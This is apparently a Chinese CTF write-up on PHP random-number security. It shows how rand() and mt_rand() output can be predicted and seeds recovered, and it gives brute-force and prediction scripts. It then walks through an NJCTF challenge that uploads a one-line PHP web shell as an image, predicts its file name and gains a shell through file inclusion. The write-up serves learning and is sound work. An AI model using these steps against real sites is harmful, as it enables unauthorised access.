rand() 函数在产生随机数的时候没有调用 srand(),则产生的随机数是有规律可询的.

产生的随机数可以用下面这个公式预测 : state[i] = state[i-3] + state[i-31] (一般预测值可能比实际值要差1)

$randstr = array();

for ($i = 0; $i <= 50; $i++) {

    $randstr[$i] = rand(0, 30);

    if ($i >= 31) {

        echo "第" . $i . "个随机数:";

        echo "$randstr[$i]=(" . $randstr[$i - 31] . "+" . $randstr[$i - 3] . ") mod 32 +1\n";
echo "<br>"; } else { echo "第" . $i . "个随机数:" . $randstr[$i] . "\n";
echo "<br>"; } }

结果如下:

第0个随机数:0
第1个随机数:12
第2个随机数:18
第3个随机数:27
第4个随机数:25
第5个随机数:30
第6个随机数:15
第7个随机数:20
第8个随机数:17
第9个随机数:25
第10个随机数:30
第11个随机数:28
第12个随机数:13
第13个随机数:23
第14个随机数:1
第15个随机数:8
第16个随机数:5
第17个随机数:5
第18个随机数:4
第19个随机数:25
第20个随机数:30
第21个随机数:28
第22个随机数:7
第23个随机数:5
第24个随机数:18
第25个随机数:8
第26个随机数:24
第27个随机数:12
第28个随机数:7
第29个随机数:3
第30个随机数:24
第31个随机数:2=(0+7) mod 32 +1
第32个随机数:18=(12+3) mod 32 +1
第33个随机数:25=(18+24) mod 32 +1
第34个随机数:21=(27+2) mod 32 +1
第35个随机数:11=(25+18) mod 32 +1
第36个随机数:27=(30+25) mod 32 +1
第37个随机数:5=(15+21) mod 32 +1
第38个随机数:14=(20+11) mod 32 +1
第39个随机数:24=(17+27) mod 32 +1
第40个随机数:26=(25+5) mod 32 +1
第41个随机数:17=(30+14) mod 32 +1
第42个随机数:17=(28+24) mod 32 +1
第43个随机数:14=(13+26) mod 32 +1
第44个随机数:22=(23+17) mod 32 +1
第45个随机数:25=(1+17) mod 32 +1
第46个随机数:30=(8+14) mod 32 +1
第47个随机数:0=(5+22) mod 32 +1
第48个随机数:6=(5+25) mod 32 +1
第49个随机数:8=(4+30) mod 32 +1
第50个随机数:5=(25+0) mod 32 +1

看到CTF题,当时题目中max_num未知。当我们请求时,大致知道max_num的范围,当时得到的最大值是990,不超过4位数。可以通过爆破解此题。:

session_start();
define(MAX_NUM,998);
if (isset($_GET['code']) && intval($_GET['code']) === $_SESSION['code']) { die('flag{11111111111111111}'); } else {echo "wrong answer!";} srand(rand(0, MAX_NUM)); //进行播种 for ($i = 0; $i < 3; $i++) { echo "<h3>randnum$i:" . rand(0, MAX_NUM) . "</h3><br>"; } echo 'sessionid: ' . session_id(); var_dump($_SESSION); $_SESSION['code'] = rand(0, MAX_NUM); var_dump($_SESSION); ?> <form action="" method="get"> the next random num is:<input type="text" name="code"/> <input type="submit"/> </form>

可以写如下脚本,从990开始预测:

$max_num = 1000;

for ($k = 990; $k <= 1000; $k++) {

    $max_num = $k;

    for ($i = 0; $i <= 1000; $i++) {

        srand($i);

        echo 'srand:' . $i . ':' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num);

        echo "<br>";

    }

}

得到预测结果。填上拿到flag.

第二种做法是写一个py脚本直接去爆破随机数,因为随机数的范围都是小于1000的,因此这些直接爆破0,1000即可.

import requests

url = 'http://0.0.0.0:91/index.php'

s = requests.session()

# headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}

# html = s.get(url,headers=headers)

for i in range(1000):

    #s = requests.session()

    url2 = url+'?code='+str(i)

    res = s.get(url2)

    print res.content

    if 'flag' in res.content:

        print res.content 

        break

大概每个session 可以爆出2,3次就无法再次爆破了,也是有一点随机性在里面的

ps: 其实session()这个函数有点像随机数播种, 程序每次运行一次session函数,都会分配一个固定的sessionid, 上面这个程序把session放在前面,那么循环部分的sessionid都是一样的,和我们浏览器访问并没有很大区别, 但如果是把session()函数放到循环体里面,那么每次访问的sessionid的值都会变化,相当于1000个人同时访问一次站点, 前面相当于一个人访问了1000次站点

mt_srand()函数用 time()做种子值, 相当于已知的, 我们可以本地用 time()这个种子值去预测pwd的值, 这第一层判断很容易绕过, 第二层的判断就有点迷了

发现这个第二层的判断为 if ($_SESSION['userLogin'] == $_GET['login']) , 只是简单的判断了下是否相等,而没有判断 $_GET['login'] 这个值是否为空, 因为程序如果第一次加载,那么此时 $_SESSION还没有赋值, $_SESSION['login'] 的内容自然是空, NULL===NULL, 很容易就绕过了第二层, 因此这题第二层判断形如虚设,如果你的时间和服务器上面的时间不同步,即time()的值不相同话,需要去偏移一个大概范围去爆破:

脚本如下:

function create_password($pw_length = 10) {

    $randpwd = "";

    for ($i = 0; $i < $pw_length; $i++) {

        $randpwd .= chr(mt_rand(100, 200));

    }

    return $randpwd;

}

mt_srand(time());

$pass = create_password();

echo $pass . "\n";

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, 'http://127.0.0.1/php_code/yuce.php?pwd=' . $pass);

$output = curl_exec($curl);

print_r($output);

curl_close($curl);

在看一道njctf随机数的题目:

题目大体思路就是能上传图片文件+文件包含=getshell。但是有一个难点就是如何得到上传文件名。这里就涉及到随机数和session的知识。

先说下session。session_start()会创建唯一的session id。当你携带着session过来时。session_start()就不会分配一个新的session id。

当你把PHPSESSID=;这样后端接受到的session id就会为空。

假如把PHPSESSID都删了。则会重新赋值一个新的session id

如果sessionid是没有的话,那么session_id()就是空字符串,这样的话,hash就是$ss的md5值,也就是纯数字,放cmd5解密就可以得到明文,也就是随机数,

mt_rand生成的随机数是可以破解得到种子,所以可以再通过种子预测到后面的random_str的值,从而得到上传的文件名.(这里我们把md5函数去掉)

error_reporting(0);
function show_error_message($message)
{
die("<div class=\"msg error\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
} function show_message($message)
{
echo("<div class=\"msg success\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
} function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = ''; for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
} return $str;
}
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) { $seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
echo "ss:".$ss;
echo "<br>";
// $hash = md5(session_id().$ss);
$hash = session_id().$ss; //原题这里是md5(session_id.$ss).这里把md5加密去掉。
echo "session_id+ss:".$hash;
echo "<br>";
// echo $hash;
// echo "<br>";
// echo md5($ss);
// echo "<br>";
// echo "新赋值的session:".$hash;
setcookie('SESSI0N', $hash, time() + 3600); if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION)); if ($check2) show_error_message("Nope!");
if ($check1) {
$filename = './' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<head>
<title>upload</title>
</head>
<body>
<form action="shell.php" method="post" enctype="multipart/form-data">
选择文件:<input type="file" name="file-upload-field">
<br>
提交:<input type="submit" name="submit">
<br>
<?php
echo "session:";
print_r($_SESSION);
echo "<br>";
echo "cookie:";
print_r($_COOKIE);
?>
</form>
</body>
</html>

具体操作如下:

准备一个一句话的shell命名为1.jpg,将PHPSESSION设置为空上传。

发送,server 会给我们一个名为session的cookie。原题目得在解密MD5.我这里去掉了。就不用了。

1782405370就是随机数。通过php_mt_seed这个tools来破解我们的种子。

得到可能的种子数。

写个脚本来预测文件名,(当种子数相同时,通过mt_rand或者rand得到的随机数是相同的)

比如。同时使用123的种子,即使网页怎么刷新数值都不会变的。用种子得到的每一个都是固定的。

写通过得到的216400146种子就能得到文件的名字。

mt_srand(216400146);
echo mt_rand()."\n\r";
function random_str($length = "32") {
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = ''; for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
} return $str;
} echo random_str()."\n\r";

看上传文件的名字。

通过伪协议文件包含拿shell.

参考连接:http://www.blogsir.com.cn/safe/515.html

http://www.cnblogs.com/iamstudy/articles/2017_NJCTF_Some_Web_Writeup.html

http://momomoxiaoxi.com/2017/03/17/NJCTF/

https://xz.aliyun.com/t/1520

web-ctf随机数安全的更多相关文章

  1. [XMAN筛选赛](web)ctf用户登录

    0x00 题目概述 就只写了几道web题,有些考察点比较明显,所以个人感觉来说web总体不难. 一航的writeup写得差不多,我这写个他没写的wirteup. 看题: 链接点进去是一个登录页面,习惯 ...

  2. CTF各种资源:题目、工具、资料

    目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...

  3. 【pwnable.kr】fb

    这是pwnable.kr的签到题,记录pwn入门到放弃的第一篇. ssh fd@pwnable.kr -p2222 (pw:guest) 题目很简单,登录上了ssh后,发现了3个文件:fd,fd.c, ...

  4. 反序列化之PHP

    反序列化漏洞 #PHP反序列化 原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果.在反序列化的过程中自动触发了某些魔术方法. ...

  5. Vulnhub靶机系列之Acid

    Acid 下载地址: ​ https://download.vulnhub.com/acid/Acid.rar ​ https://download.vulnhub.com/acid/Acid.rar ...

  6. CTF丨从零开始搭建WEB Docker靶场

    第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...

  7. 统计随机数及临界值Web Service接口

    (2017-02-04 银河统计) 统计函数API概念   API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发 ...

  8. CTF中常见Web源码泄露总结

    目录00x1 .ng源码泄露 00x2  git源码泄露 00x3 .DS_Store文件泄漏 00x4 网站备份压缩文件 00x5 SVN导致文件泄露 00x6 WEB-INF/web.xml泄露  ...

  9. CTF web题型解题技巧

    工具集 基础工具:Burpsuite,python,firefox(hackbar,foxyproxy,user-agent,swither等) 扫描工具:nmap,nessus,openvas sq ...

  10. 实验吧CTF题库-WEB题(部分)

    看起来有点难 提交admin http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&actio ...

随机推荐

  1. python模块之numpy与pandas

    一.numpy numpy是python数据分析和机器学习的基础模块之一.它有两个作用:1.区别于list列表,提供了数组操作.数组运算.以及统计分布和简单的数学模型:2.计算速度快[甚至要由于pyt ...

  2. csharp:datagridview enter Half Width and Full Width characters

    /// <summary> /// 全角 /// </summary> /// <param name="unicodeString">< ...

  3. js中windows的函数(随机数,计时器的实现)

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  4. 在 Ubuntu上使用 MySQL

    MySQL 安装配置 https://help.ubuntu.com/12.04/serverguide/mysql.html MySQL Manual http://dev.mysql.com/do ...

  5. 13 Reasons Why You Should Pay Attention to Mobile Web Performance

    Mobile is no longer on the sidelines. If you’re not already thinking mobile first, you should at lea ...

  6. 浏览器根对象window之窗体和工具条

    1. 窗体和工具条 1.1 窗体 frames.self.window.parent.top.opener. frames 数组类型,页面中iframe的引用,如果页面有2个iframe,则frame ...

  7. Java快速入门-03-小知识汇总篇(全)

    Java快速入门-03-小知识汇总篇(全) 前两篇介绍了JAVA入门的一系小知识,本篇介绍一些比较偏的,说不定什么时候会用到,有用记得 Mark 一下 快键键 常用快捷键(熟记) 快捷键 快捷键作用 ...

  8. ShareSDK分享和SMS的使用

    使用的是第三方的Mob来实现分享和发送短信的Demo 如图是项目的结构,结合了分享,发送短信,读取短信内容的功能 代码地址:https://github.com/1825492258/MobShare ...

  9. UX基础 - OmniGraffle新手指南

    原文地址:http://beforweb.com/node/202,大半夜找到,作为使用手册 我发现一事儿,就是最近这些年,每到入职一个新公司的时候,听得东西往往会比多数时候听得更重更金属些,此时以S ...

  10. ubuntu16 下安装redis 以及设置其为开机启动

    1.下载redis安装包 sudo wget http://download.redis.io/releases/redis-3.2.6.tar.gz 2.解压 tar -zxvf  redis-3. ...